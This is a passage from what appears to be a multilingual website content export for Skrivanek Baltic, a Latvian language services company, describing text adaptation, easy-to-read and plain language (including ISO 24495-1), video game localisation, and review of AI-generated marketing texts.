on populaarsed meie keelekursused. Meie meeskond täidab kõik teie soovid. ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Koe Skrivanekin tekstin mukauttamis- ja copywriting-palvelut. Muunna sisältösi, vangitse yleisösi. Sinun sanasi, meidän käsityömme. - Published: 2024-05-13 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/ - Translation Priorities: Optional TEKSTIN MUKAUTTAMINEN Tiimimme mukauttaa tekstin helpommin ymmärrettäväksi valitsemallesi kohderyhmälle, ottaen huomioon kyseisen kulttuurin tai sosiaalisen ryhmän vivahteet. Tätä lähestymistapaa käytetään useimmiten mainonnassa ja luovissa teksteissä. LUOVA COPYWRITING Luovien tekstien kääntämisessä ja tuotannossa kiinnitämme erityistä huomiota puhuttelumuodon valintaan, sen merkitsemiseen ja diminutiivien käyttöön. Varmistamme, että luovaa tekstiä ei voida hahmottaa erillään sen visuaalisista tai äänielementeistä ja että ne kaikki toimivat yhdessä luoden harmonisen viestin. Lue lisää TEKSTIEN KIELIOPILLINEN JA TYYLILLINEN PARANTAMINEN Tarjoamme oikolukua, tyyliparannuksia, käännöksen vertailua alkuperäiseen ja editointipalveluja myös teksteille, joita emme ole laatineet tai kääntäneet. Näitä palveluja tarjoavat ainoastaan kohdekieltä äidinkielenään puhuvat. Lue lisää USEIN KYSYTYT KYSYMYKSET Kun teksti on tarkoitettu markkinointi- tai mainostarkoituksiin, yksinkertainen käännös ei riitä – useimmiten teksti on lokalisoitava sekä sanonnat ja muut vastaavat ilmaisut on muutettava siten, että kohdekielen käyttäjät ymmärtävät ne helposti. Tällöin tekstit mukautetaan täysin vastaamaan kohdekielisen yleisön vaatimuksia. Käsittelemme alkuperäisiä asiakirjoja sähköisesti muuttamatta niiden tyyliä tai muotoilua aina, kun se on mahdollista. Tarvittaessa takaamme, että asiakkaan asiakirjan käännös näyttää täysin samalta kuin alkuperäinen tai muotoilemme sen asiakkaan ohjeiden mukaisesti julkaisuhenkilöstömme avustuksella. Kyllä, kaikki luonnollisten henkilöiden hinnat sisältävät arvonlisäveron. Yritysasiakkaille hinnat näkyvät ilman arvonlisäveroa. EU-lainsäädännön mukaan emme veloita arvonlisäveroa palveluista, joita tarjotaan ALV-rekisteröityneille yrityksille muissa jäsenmaissa. Käänteisen verovelvollisuuslainsäädännön mukaan verovelvollisuus siirtyy palvelujen vastaanottajalle. YLI 25 VUOTTA MARKKINOILLA! Meillä on laaja kokemus eri aihepiirien tekstien kääntämisestä. 0+ Eri kieliyhdistelmää 0+ milj. Käännettyä sanaa vuonna 2023 0+ Kielten asiantuntijaa 0 ISO-sertifikaattia --- > Atklāj, ko piedāvā vieglā valoda un vienkārša valoda. Pārveidojam sarežģīto skaidrā un viegli saprotamā saturā. Sazinies ar Skrivanek! - Published: 2024-04-23 - Modified: 2025-07-21 - URL: https://skrivanek.lv/pakalpojumi/viegla-valoda-vienkarsa-valoda/ - Translation Priorities: Optional KĀPĒC SADARBOTIES AR SKRIVANEK? Skrivanek Baltic ir vadošais valodu uzņēmums Latvijā, kas nodrošina augstu kvalitāti gan mācot svešvalodas, gan nodrošinot tulkošanas pakalpojumus. Mērķis ir ne tikai nodrošināt pakalpojumus kā vieglā valoda un vienkāršā valoda, bet arī lielisku pieredzi pakalpojumu sniegšanas gaitā. Mūsu klienti novērtē mūs tieši tāpēc. Lūk, ko varat sagaidīt, sadarbojoties ar mums: Plaša formāta atbalsts – pdf, jpg, idml, json vai html – tam nav nozīmes. Ar mūsu DTP – tekstu grafiskās apstrādes speciālistu palīdzību, nodrošinām teksta apstrādi dažādu datņu paplašinājumos. Tādēļ jums nav jāuztraucas par dokumentu apstrādi. Vieglās un vienkāršās valodas speciālisti – mūsu komandā ir kvalificēti lingvisti, kas specializējas dažādās nozarēs, tāpēc speciālistu vārdu krājums mums nav problēma. Pat sarežģītākais teksts tiks pielāgots vieglās un vienkāršās valodas prasībām. Ātrs tiešsaistē sniegts cenu piedāvājums – vairs nav jāgaida vairākas stundas, lai saņemtu piedāvājumu. Varam sagatavot piedāvājumu 15 minūšu laikā. Jebkurā gadījumā varat pieteikties tiešsaistes konsultācijai. Tajā mēs sniegsim izvērstāku piedāvājumu un atbildēsim uz visiem iespējamajiem jautājumiem. Vieglā valoda un vienkāršā valoda – abas ir paredzētas, lai padarītu informāciju pieejamāku un saprotamāku. Tās ir ļoti līdzīgas, taču katra paredzēta citai mērķauditorijai un tām ir atšķirīgas iezīmes. Turpmāk sniegsim nelielu aprakstu par katru no šīm valodām. Sniegsim arī īsu lietošanas ieteikumu un principu uzskaitījumu, lai gūtu ieskatu, kādos gadījumos šī pakalpojuma izmantošana varētu noderēt tieši jums! SEMINĀRI UN DARBNĪCAS Skrivanek piedāvā seminārus un darbnīcas, kas palīdz izprast un apgūt vieglās un vienkāršās valodas pielietojumu dažādās situācijās, nodrošinot efektīvāku komunikāciju ar dažādām sabiedrības grupām. Viens no šādiem pasākumiem ir darbnīca "Latviešu valodas transformācija mūsdienu diskursā", kurā tiek analizētas valodas pielāgošanas metodes un to nozīme iekļaujošā sabiedrībā. Šāda veida apmācības ir būtiskas gan valsts iestādēm, gan uzņēmumiem, lai nodrošinātu skaidru, saprotamu un pieejamu informāciju ikvienam. Pieteikties semināram KAS IR VIEGLĀ VALODA? Vieglā valoda (easy-to-read language) ir saziņas forma, kas padara informāciju saprotamu visiem. Mūsdienās informatīvā telpa kļūst arvien sarežģītāka, jo katrs runā savā valodā. Ierēdņiem ir savs izteiksmes veids, juristiem, IT speciālistiem un ārstiem – pavisam cits. Reizēm ir grūti saprast vienam otru. Taču sarežģīto var pārvērst par viegli uztveramo. Tādēļ piedāvājam izmantot vieglo valodu kā iespēju, kas ļautu cilvēkiem vienlīdzīgi iekļauties sabiedrībā. Nepieciešams teksts vieglajā vai vienkāršajā valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par vieglo valodu vai vienkāršo valodu jau tūlīt! VIEGLĀ VALODA Vieglās valodas lietošanas ieteikumi un principi ir šādi: izvairīties no gariem teikumiem, sarežģītām teikuma konstrukcijām (viens teikums = viena doma); izvairīties no liekvārdības; izvairīties no svešvārdiem, kā arī nesaprotamiem latviskojumiem, profesionālās terminoloģijas (jālieto sabiedrībā plaši zināmi termini); izvairīties no nolieguma teikumiem, darbības vārdiem ciešamajā kārtā (netiek nosaukts darbības veicējs); izvairīties no frazeoloģismiem, jo tos ne visi zina, kā arī ne visi spēj izprast; izvairīties no procentiem, lieliem skaitļiem (ieteicams lietot ‘daži’, ‘daudzi’ u. tml. ); informāciju drīkst atkārtot, ir pat ļoti ieteicams sarežģītus vārdus skaidrot vairākkārt; tekstu veidot, izmantojot vismaz 1,5 rindstarpu, burtu lielumu vismaz 14, veidot pēc iespējas īsākas rindkopas. VIENKĀRŠĀ VALODA Vienkāršās valodas (plain language) lietošanas ieteikumi un principi ir šādi: jo īsāk, jo labāk. Tas gan nenozīmē, ka viss teksts ir jāveido no ļoti īsiem teikumiem. Ieteicams pamīšus lietot īsus un garus teikumus. Īsajos teikumos uzsverot svarīgāko, bet garākus teikumus sadalot divos (vidēji teikuma garumam vajadzētu būt no 15 līdz 20 vārdiem. Vienkāršajā valodā nedaudz īsākiem. ); rakstīt izmantojot darāmo kārtu; izmantot mērķauditorijai piemērotus vārdus; izvairīties no liekvārdības; izmantot piemērus, jo tā cilvēki ātrāk uztver domu. Turklāt piemēriem jābūt vienkāršiem, atbilstošiem adresāta pasaules uzskatam, darbības jomai vai izglītībai. Ir vērts atzīmēt, ka vieglā valoda un vienkāršā valoda nav tas pats, kas vienkāršošana. Mērķis ir padarīt informāciju pieejamu un saprotamu, nevis mazināt tās saturu vai nozīmi. Vieglā valoda ir rīks, lai sarežģītu informāciju padarītu saprotamu visiem. Vienkāršā valoda ir efektīvs rīks, lai padarītu informāciju pieejamu plašākai auditorijai. KĀ VIEGLĀ VALODA VAR PALĪDZĒT LASĪTĀJAM? Tā palīdz lasītājam saprast sarežģītu informāciju. Pētījumi rāda, ka 15–25 % iedzīvotāju katrā valstī nespēj uztvert sarežģītu informāciju. Tādēļ vieglā valoda ir svarīga. Tā nodrošina, ka informācija ir saprotama plašākai auditorijai. Tā palīdz mums saprast, kā mēs mācāmies lasīt, un kā dažādas smadzeņu daļas strādā kopā, lai apstrādātu rakstu valodu. Tas savukārt palīdz mums izstrādāt labākās prakses šo prasmju mācīšanai, lai katrs varētu iemācīties lasīt prasmīgi. Informācijas sniegšana vieglajā valodā ir paredzēta cilvēkiem ar intelektuālās attīstības problēmām. Piemēram: neiropsihiatriskiem stāvokļiem (ieskaitot UDHS, AST, Aspergera sindromu un Tureta sindromu), disleksiju, afāziju, kā arī mācīšanās un rakstpratības grūtībām. Materiāli vieglajā valodā ir noderīgi arī tiem, kuri tos izmanto valodas mācīšanās procesā, piemēram, imigrantiem un bērniem. Materiāli noder arī vājredzīgiem, nedzirdīgiem un vājdzirdīgiem cilvēkiem. Tie ikdienā sazinās zīmju valodā un tiem varētu būt ierobežota izpratne par frazeoloģismiem, metaforām un citiem mākslinieciskās izteiksmes līdzekļiem. VIENKĀRŠĀS VALODAS STANDARTS – ISO 24495-1:2023 Vienkāršās valodas standarts tika izveidots 2023. gadā. Šis standarts ir dokumentācija, kas nosaka principus un prasības, kā izmantot vienkāršo valodu, lai padarītu informāciju pieejamāku un saprotamāku. Šis standarts nosaka, ka ikviens, neatkarīgi no lasītprasmes līmeņa vai valodas spējām, var piekļūt svarīgai informācijai. Standartā uzsvērts, ka vienkāršo valodu ir vēlams izmantot visu veidu dokumentos, tostarp juridiskajos, tehniskajos un informatīvajos materiālos. Standarts nosaka, ka informācija ir piekļūstama, ja lasītājs saprot uzrakstīto, izlasot tekstu tikai vienu reizi, un ātri atrod nepieciešamo informāciju. Tas aptver būtiskos vienkāršās valodas elementus, bet neaptver visus saziņas veidus. Šis standarts attiecas tikai uz drukāto vai digitālo informāciju, kas galvenokārt ir teksts. Skrivanek palīdzēs veikt korektūru jau gatavajiem tekstiem, kā arī tulkojamajiem tekstiem gan vieglajā, gan vienkāršajā valodā. Arī tad, ja rodas šaubas par jau sagatavotā teksta atbilstību vieglajai vai vienkāršajai valodai, talkā nāks Skrivanek valodu speciālisti. Speciālisti veiks attiecīgos labojumus, lai jūsu teksts atbilstu prasībām, tādējādi ļaujot jums sasniegt labāko rezultātu. Lai pēc iespējas labāk nodrošinātu veiksmīgu svešvalodas apguvi, vienkāršās un vieglās valodas principus ievērojam arī mūsu svešvalodu kursos un bērnu nometnēs! --- > Discover what plain and easy-to-read language have to offer. Making complex and difficult-to-understand into easy and plain text. Contact! - Published: 2024-04-23 - Modified: 2025-06-27 - URL: https://skrivanek.lv/pakalpojumi/viegla-valoda-vienkarsa-valoda/ - Translation Priorities: Optional WHY WORK WITH SKRIVANEK? Skrivanek Baltic is a leading language company in Latvia, providing high-quality foreign language learning and translation services. The aim is not only to provide easy-to-read and plain language services but also a great service experience. Our customers appreciate us for this reason. Here’s what you can expect when working with us: Wide format support – pdf, jpg, idml, json or html – it doesn’t matter. With the help of our DTP – desktop publishing specialists, we provide text processing in various file extensions. So you don’t have to worry about processing your documents. Easy-to-read and plain language specialists – our team includes qualified linguists specialising in different industries, so specialist vocabulary is not a problem. Even the most complex text will be adapted to the requirements of easy-to-read and plain language. Fast, online offer – no need to wait hours for an offer. We can prepare an offer within 15 minutes. In any case, you can book an online consultation. There, we will give you a more detailed offer and answer all your questions. Both easy-to-read language and plain language are designed to make information more accessible and understandable. They are very similar, but each has a different target audience and different characteristics. See below for a brief description of each of these languages. We will also provide a brief list of recommendations and principles for use, to give you an idea of when using this service might be right for you! WHAT IS EASY-TO-READ LANGUAGE? Easy-to-read language is a form of communication that makes information understandable to everyone. Today, the information space is becoming more and more complex as everyone speaks their own language. Officers have their own way of expressing themselves, while lawyers, IT specialists and doctors have another. Sometimes it is difficult to understand each other. But the complex can be made easy to understand. Therefore, we offer to use easy-to-read language as an opportunity for people to be equally included in society. Need text in easy-to-read or plain language? Contact us! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation for easy-to-read or plain language now! EASY-TO-READ LANGUAGE Recommendations and principles for use: avoid long sentences, complex sentence structures (one sentence = one idea); avoid unnecessary words; avoid foreign words, incomprehensible Latvian words, professional terminology (use terms that are well-known in society); avoid negative sentences, passive voice; avoid phraseologies, as not everyone knows or understands them; avoid percentages and big numbers (instead, use “few”, “many”, etc. ); information can be repeated; it is even strongly advised to explain complex words several times; use at least 1. 5 line spacing, a minimum font size of 14, and keep paragraphs as short as possible. PLAIN LANGUAGE Recommendations and principles for use: the shorter the better. This does not mean that the entire text should be made up of short sentences. It is recommended to use both short and long sentences. Short sentences should emphasise the most important points, while longer sentences should be divided into two (the average sentence length should be between 15 and 20 words). In plain language, slightly shorter); use active voice; use words appropriate for the target audience; avoid unnecessary words; use examples, as this helps people to understand the idea more quickly. In addition, examples should be simple, relevant to the recipient’s worldview, field of activity or education. It is worth noting that easy-to-read and plain language is not simplification. The aim is to make information accessible and understandable, not to reduce its content or meaning. Easy-to-read language is a way of making complex information understandable to all. Plain language is an effective way of making information accessible to a broader audience. HOW CAN EASY-TO-READ LANGUAGE HELP THE READER? It helps the reader to understand complex information. Studies show that 15–25% of people in each country are unable to understand complex information. Therefore, easy-to-read language is important. It ensures that information is clear to a broader audience. It helps us understand how we learn to read and how different parts of the brain work together to process written language. This in turn helps us to develop best practices for teaching these skills so that everyone can learn to read proficiently. Easy-to-read language is designed for people with intellectual disabilities. For example: neuropsychiatric conditions (including ADHD, ASD, Asperger’s Syndrome and Tourette Syndrome), dyslexia, aphasia, as well as learning and literacy difficulties. Easy-to-read language materials are also beneficial for those who use them for language learning, such as immigrants and children. The materials are also useful for the visually impaired, deaf and hard of hearing. They communicate in sign language on a daily basis and may have a limited understanding of phraseology, metaphors and other means of artistic expression. PLAIN LANGUAGE STANDARD – ISO 24495-1:2023 The Plain Language Standard was established in 2023. This Standard is documentation that sets out the principles and requirements for using plain language to make information more accessible and understandable. This standard ensures that everyone, regardless of literacy level or language ability, can access important information. The Standard emphasises that plain language should be used in all types of documents, including legal, technical and informative materials. The standard states that information is considered accessible if the reader is able to understand what is written the first time of reading, and quickly find the information they need. It covers the essential elements of plain language but does not cover all forms of communication. This standard only applies to printed or digital information, which is mainly text. Skrivanek will help you proofread ready-made texts as well as translations in both easy-to-read and plain language. Even if you have doubts about whether the text you have prepared is in easy-to-read or plain language, a Skrivanek language specialist will be there to help. Our specialists will make the appropriate adjustments to ensure that your text meets the requirements, allowing you to achieve the best result. To ensure the best possible learning experience, we also apply the principles of plain and easy-to-read language in our foreign language training and children’s camps! --- > Per raggiungere il più ampio pubblico possibile di videogiochi, una localizzazione di successo è uno degli aspetti più importanti. - Published: 2024-03-27 - Modified: 2024-08-22 - URL: https://skrivanek.lv/videospelu-lokalizacija/ - Translation Priorities: Optional Per raggiungere il più ampio pubblico possibile di videogiochi, una localizzazione di successo è uno degli aspetti più importanti. Noi di Skrivanek Baltic ci assicuriamo che i contenuti dei videogiochi non solo siano tradotti con una qualità eccellente, ma anche adattati al mercato locale, abbattendo le barriere culturali e linguistiche. PERCHÉ SCEGLIERE SKRIVANEK? Esperti del settore. I nostri traduttori sono professionisti del settore linguistico e appassionati di videogiochi, che ci consegnano sempre un prodotto di alta qualità e accuratamente personalizzato. Differenze culturali. Adattiamo il testo in modo che non sia tradotto meccanicamente, ma piuttosto trasformato in modo da rivolgersi ai giocatori che parlano la lingua di destinazione. Esecuzione rapida dei lavori. Traduciamo in modo efficiente per non ritardare lo sviluppo del videogioco. Controllo qualità. I costanti controlli di qualità garantiscono l'accuratezza, soprattutto nell'uso dei termini chiave, e un'esperienza di gioco coinvolgente. Se volete supportare diverse lingue per il vostro videogioco, contattateci: troveremo la soluzione migliore per voi! Richiedete una consulenza se volete discutere il vostro progetto in modo più dettagliato. Saremo lieti di aiutarvi a trovare la soluzione di localizzazione migliore per voi. Vi preghiamo di fornire i vostri recapiti e le vostre domande qui di seguito, in modo da poter concordare un orario più adatto a voi. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Per raggiungere il più ampio pubblico possibile di videogiochi, una localizzazione di successo è uno degli aspetti più importanti. Noi di Skrivanek Baltic ci assicuriamo che i contenuti dei videogiochi non solo siano tradotti con una qualità eccellente, ma anche adattati al mercato locale, abbattendo le barriere culturali e linguistiche. PERCHÉ SCEGLIERE SKRIVANEK? Esperti del settore. I nostri traduttori sono professionisti del settore linguistico e appassionati di videogiochi, che ci consegnano sempre un prodotto di alta qualità e accuratamente personalizzato. Differenze culturali. Adattiamo il testo in modo che non sia tradotto meccanicamente, ma piuttosto trasformato in modo da rivolgersi ai giocatori che parlano la lingua di destinazione. Esecuzione rapida dei lavori. Traduciamo in modo efficiente per non ritardare lo sviluppo del videogioco. Controllo qualità. I costanti controlli di qualità garantiscono l'accuratezza, soprattutto nell'uso dei termini chiave, e un'esperienza di gioco coinvolgente. Se volete supportare diverse lingue per il vostro videogioco, contattateci: troveremo la soluzione migliore per voi! Richiedete una consulenza se volete discutere il vostro progetto in modo più dettagliato. Saremo lieti di aiutarvi a trovare la soluzione di localizzazione migliore per voi. Vi preghiamo di fornire i vostri recapiti e le vostre domande qui di seguito, in modo da poter concordare un orario più adatto a voi. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia COSA È INCLUSO NELLA TRADUZIONE DEL VIDEOGIOCO? In breve, la traduzione di un gioco consiste nell'adattare il contenuto e la colonna sonora di un gioco da una lingua a un'altra. La traduzione del contenuto di un videogioco non si limita ai sottotitoli, che possono essere letti quando i personaggi parlano tra loro. È inoltre possibile personalizzare i materiali, le istruzioni, i termini di servizio e altri contenuti inclusi nella custodia del disco, come il materiale informativo e la pubblicità del gioco nella lingua di destinazione. Non tutti conoscono la lingua di partenza di un videogioco, spesso l'inglese. Con una comprensione dell'inglese scarsa o nulla, è molto probabile che i giocatori non riescano a godersi appieno l'esperienza di gioco o che non acquistino affatto il gioco. Tuttavia, la localizzazione del videogioco in diverse lingue può aumentare l'interesse nelle regioni che preferiscono godersi i videogiochi nella loro lingua madre. PERCHÉ VALE LA PENA LOCALIZZARE I VIDEOGIOCHI? Assicurandosi che il testo, le battute dei personaggi e persino le immagini dei videogiochi siano localizzate con precisione per ogni regione, le aziende consentono agli appassionati di intrattenimento di tutto il mondo di godere appieno dei giochi nella loro lingua. Questo va a vantaggio sia degli utenti che degli sviluppatori di giochi. La gamma di utenti viene ampliata. La localizzazione aiuta a raggiungere nuovi giocatori che non avrebbero acquistato il gioco in lingua originale. Fatturato aggiuntivo. La vendita di un'opera originale in un nuovo mercato e in una nuova regione può aumentare le vendite di un videogioco e quindi i profitti. In linea con le pratiche culturali. Grazie alla localizzazione, il gioco può essere adattato alle usanze culturali di diverse regioni, in modo da risuonare più efficacemente con i giocatori. Un'esperienza di gioco piacevole. La localizzazione dei giochi può migliorare l'esperienza del giocatore riducendo la barriera linguistica e rendendo il gioco più piacevole e coinvolgente. COME LOCALIZZARE I VIDEOGIOCHI? La traduzione è solo una piccola parte del processo di localizzazione dei videogiochi. Ecco alcuni degli aspetti più importanti a cui prestiamo attenzione per garantire una qualità eccellente. Traduzione. Il primo e più importante passo è l'adattamento dei contenuti alla lingua e alle specificità del mercato di destinazione. Editing e correzione di bozze. Il materiale tradotto viene controllato per chiarire i termini e correggere gli errori tipografici. Controllo della qualità linguistica. Prima di fornire materiale da integrare in un videogioco, l'accuratezza della traduzione viene controllata e testata. Adattamento. Questa fase comporta una manipolazione tecnica per consentire la rappresentazione della traduzione nel gioco stesso. Apportiamo inoltre correzioni agli elementi visivi per garantire una rappresentazione accurata dei contenuti. Adattamento alla regione. In alcuni Paesi sono stati vietati diversi elementi dei videogiochi. Ad esempio, sangue, teschi o simboli religiosi. Se non verranno apportate modifiche, il videogioco potrebbe essere vietato in tutta la regione. Si dovrebbe anche considerare in che misura sia accettabile in una particolare regione la rappresentazione di violenza o di contenuti sessuali. Localizzazione dei contenuti audio. Una volta completata la localizzazione dei contenuti, vengono selezionati i doppiatori per interpretare i ruoli dei personaggi del videogioco e i contenuti audio vengono registrati e controllati per assicurarsi che il materiale corrisponda al dialetto e agli accenti locali. COME AVVIENE LA LOCALIZZAZIONE DEI GIOCHI, PASSO DOPO PASSO? Nella localizzazione dei videogiochi sono coinvolti linguisti madrelingua. In questo modo, ci assicuriamo che il risultato finale sia piacevole e comprensibile per i giocatori, adattando il testo allo stile linguistico dei personaggi - che parlano come i personaggi "locali". Ecco i passaggi per ottenere una localizzazione di qualità di un videogioco: Il cliente invia il testo e le linee guida di stile. Concordiamo le scadenze per il lavoro. I project manager convertono i file che ricevono per la traduzione e li inviano agli appaltatori della localizzazione. I traduttori iniziano a lavorare e anche loro: tengono conto delle linee guida di stile quando si registrano i nomi delle immagini e dei luoghi in un file separato, per seguire uno stile coerente; comunicano con il cliente sotto forma di questionario o di app di comunicazione per chiarire le sfumature registrate nella lingua di partenza ed essere in grado di riprodurle in un'altra lingua. Il traduttore o i traduttori finiscono il loro lavoro ed è il momento di un controllo tecnico e grammaticale indipendente. Dopo aver individuato eventuali "bug" grammaticali e stilistici, il testo viene sottoposto al controllo di qualità. Il materiale è stato completamente tradotto e testato. Ora possiamo inviarlo al cliente. Il cliente testa la nuova localizzazione linguistica nel gioco e ne condivide le impressioni. Se sono necessarie delle modifiche, le apportiamo. Dopo aver apportato le modifiche, il processo di traduzione è completo. --- > Eksperti ir pārliecināti – lai sasniegtu biznesa rezultātus un saziņa ārvalstīs būtu efektīva, bez valodu profesionāļu atbalsta neiztikt. - Published: 2024-03-27 - Modified: 2025-06-03 - URL: https://skrivanek.lv/maksliga-intelekta-genereta-marketinga-teksta-parbaude-un-labosana/ - Translation Priorities: Optional Mūsdienās ar mākslīgā intelekta tehnoloģijas palīdzību vien dažu minūšu vai pat sekunžu laikā var izveidot gandrīz visu – sākot no mārketinga tekstiem un mākslinieciskiem attēliem līdz pat mūzikas kompozīcijām. Tehnoloģija ir viegli pieejama un daudzsološa. Taču kā ir patiesībā? Skrivanek valodu eksperti ir pārliecināti – lai sasniegtu biznesa rezultātus un mārketinga komunikācija ārvalstīs būtu efektīva, bez valodu profesionāļu atbalsta neiztikt. Ir svarīgi ne tikai mācēt uzdot pareizo vaicājumu ChatGPT un ātri tikt pie kārotā teksta, bet arī pārliecināties, ka tas precīzi atbilst jūsu uzņēmuma zīmola vēstījuma tonalitātei – ir pārliecinošs, iedarbīgs un neskan kā datorprogrammas veidots. Lai lasītājs vēlētos mūsu tekstu lasīt, dalīties ar to ar draugiem un paziņām, un tas būtu pamanāmāks Google meklētājprogrammā, tekstam ir jābūt pārdomātam un augstas kvalitātes. Ar MI rīku ģenerētiem tekstiem ir svarīgi pārbaudīt ne tikai gramatiku (piemēram, sintaksi un morfoloģiju), bet arī teksta saturisko un faktoloģisko pareizību un atbilstību jūsu vajadzībām. Nezināt, kā pārliecināties, vai teksts, ko esat ģenerējuši latviešu valodā vai svešvalodā, ir lasāms un tajā nav daudz kļūdu? Skrivanek palīdzēs rast sirdsmieru un pārbaudīs, ka ar mākslīgā intelekta rīka palīdzību sagatavotais teksts patiešām ir loģisks, tajā nav faktoloģisku (sagudrotu faktu, skaitļu u. c. ), gramatisku, stilistisku kļūdu, tas ir pārliecinošs un nav pārāk vispārīgs, atbilst jūsu uzņēmuma zīmolam un identitātei arī valodās, kuras neprotat. Arī tad, ja jums ir jāpārveido jau esošās tīmekļa vietnes saturs, lai tas pēc iespējas labāk atbilstu SEO (search engine optimization) prasībām, un MI rīks ir identificējis un iesaka tīmekļa lapas pozīciju meklētājprogrammās uzbošanai virkni izmaiņu, bet jūs neesat pārliecināti, ka ieteikumi ir pamatoti un loģiski, arī šeit talkā nāks Skrivanek valodu speciālisti. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikāti Mūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā 99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Nepieciešama mākslīgā intelekta ģenerēta mārketinga teksta pārbaude un labošana? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu 